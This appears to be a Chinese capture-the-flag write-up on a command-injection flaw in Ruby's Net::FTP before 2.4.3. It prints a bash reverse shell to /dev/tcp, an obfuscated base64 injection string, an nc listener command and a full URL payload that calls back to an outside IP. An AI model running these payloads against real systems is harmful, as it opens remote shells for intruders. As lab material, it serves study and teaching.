2.4.3之前的Ruby允许Net :: FTP命令注入
0x00
Ruby Net::FTP 模块是一个FTP客户端,在上传和下载文件的过程中,打开本地文件时使用了open
函数。而在ruby中,open
函数是借用系统命令来打开文件,且没用过滤shell字符,导致在用户控制文件名的情况下,将可以注入任意命令。
0x01
需要先在vps使用python创建一个ftp服务,没有环境的需要配置python和安装pyftpdlib
#安装pyftplid
pip install pyftpdlib
#在当前目录下使用python生成一个ftp服务器,默认监听在0.0.0.0:2121端口。
python -m pyftpdlib -p 2121 -i 0.0.0.0
0x02反弹shell
linux反弹shell的命令需要base64编码:bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/2333 0>&1
|bash${IFS}-c${IFS}'{echo,YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjExMS4xMTEvMjMzMyAwPiYxCgo=}|{base64,-d}|{bash,-i}'
base64编码后的数据中加号+要替换成%2B,否则浏览器会把+编码成空格,无法反弹shell
0>&1起什么作用参考这篇反弹Shell的方式和详解_powershell 反弹shell-CSDN博客
同时vps监听2333端口:nc -lvp 2333
在yakit抓包拼接后提交数据包,vps反弹出shell
payload:
/ftp?uri=ftp://ip:port/&file=|bash${IFS}-c${IFS}%27{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84Mi4xNTcuMTE2LjI0Ny8yMzMzIDA+JjEKCg==}|{base64,-d}|{bash,-i}%27
获得shell后,使用cat /flag命令获得flag